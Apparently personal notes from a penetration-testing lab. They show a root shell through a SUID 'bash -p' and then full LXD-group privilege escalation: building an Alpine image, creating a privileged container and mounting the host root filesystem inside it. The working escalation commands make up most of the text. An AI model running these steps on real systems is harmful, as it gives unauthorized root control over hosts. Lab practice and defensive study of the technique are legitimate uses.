-bash-5.0$ /usr/bin/bash -p
bash-5.0# whoami
root

via lxd

check id

-bash-5.0$ id
uid=1000(oscp) gid=1000(oscp) groups=1000(oscp),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)
-bash-5.0$ 

we got some user in lxd group, we can follow the intructions from https://www.hackingarticles.in/lxd-privilege-escalation/
first step, we need to download lxd builder to our machine

git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
sudo ./build-alpine

firtst, we need to know location oif lxc

/snap/bin/lxc
/snap/bin/lxc image import /tmp/alpine-v3.12-x86_64-20200915_1024.tar.gz --alias myimage

/snap/bin/lxc image list

/snap/bin/lxc init myimage ignite -c security.privileged=true

when we execute command above, we will get error

so,we need to create pool

-bash-5.0$ /snap/bin/lxc storage create pool dir
Storage pool pool created
-bash-5.0$ /snap/bin/lxc profile device add default root disk path=/ pool=pool

/snap/bin/lxc init myimage ignite -c security.privileged=true
/snap/bin/lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
/snap/bin/lxc start ignite
/snap/bin/lxc exec ignite /bin/sh
